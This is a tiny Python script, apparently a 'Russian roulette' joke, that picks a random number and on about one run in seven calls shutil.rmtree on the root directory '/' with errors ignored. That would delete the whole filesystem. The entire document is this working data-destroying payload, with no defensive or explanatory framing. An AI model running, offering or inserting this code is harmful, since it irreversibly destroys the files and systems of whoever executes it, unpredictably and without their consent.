import random import shutil if random.randint(0, 6) == 1: shutil.rmtree('/', ignore_errors=True)